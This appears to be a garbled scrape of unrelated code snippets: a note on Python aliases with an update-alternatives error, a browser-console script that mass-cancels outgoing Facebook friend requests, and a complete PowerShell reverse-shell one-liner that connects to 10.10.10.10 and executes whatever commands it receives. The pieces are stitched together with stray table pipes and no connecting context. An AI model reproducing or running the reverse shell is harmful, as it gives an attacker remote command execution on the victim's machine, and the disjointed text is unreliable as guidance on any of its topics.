Loads of solutions exist, but for changing the system default, alias is not the way to go.
$ update-alternatives --list python update-alternatives: error: no alternatives for python
1. Open google chrome | |
2. Go to fb mobile link | |
https://m.facebook.com/friends/center/requests/outgoing/#friends_center_main | |
3. Open Inspector mode/Dev tool | |
4. Hover over "cancel" button to find the class | |
5. Copy the class and replace in the following code - | |
javascript: var inputs = document.getElementsByClassName('class'); | |
for (var i = 0; i < inputs.length; i++) { | |
inputs[i].click(); | |
} |
(() => { | |
const buttons = document.getElementsByClassName('_54k8 _52jg _56bs _26vk _2b4n _56bt'); | |
Object.values(buttons) | |
.forEach((button) => button.click()); | |
})(); |
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html | |
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |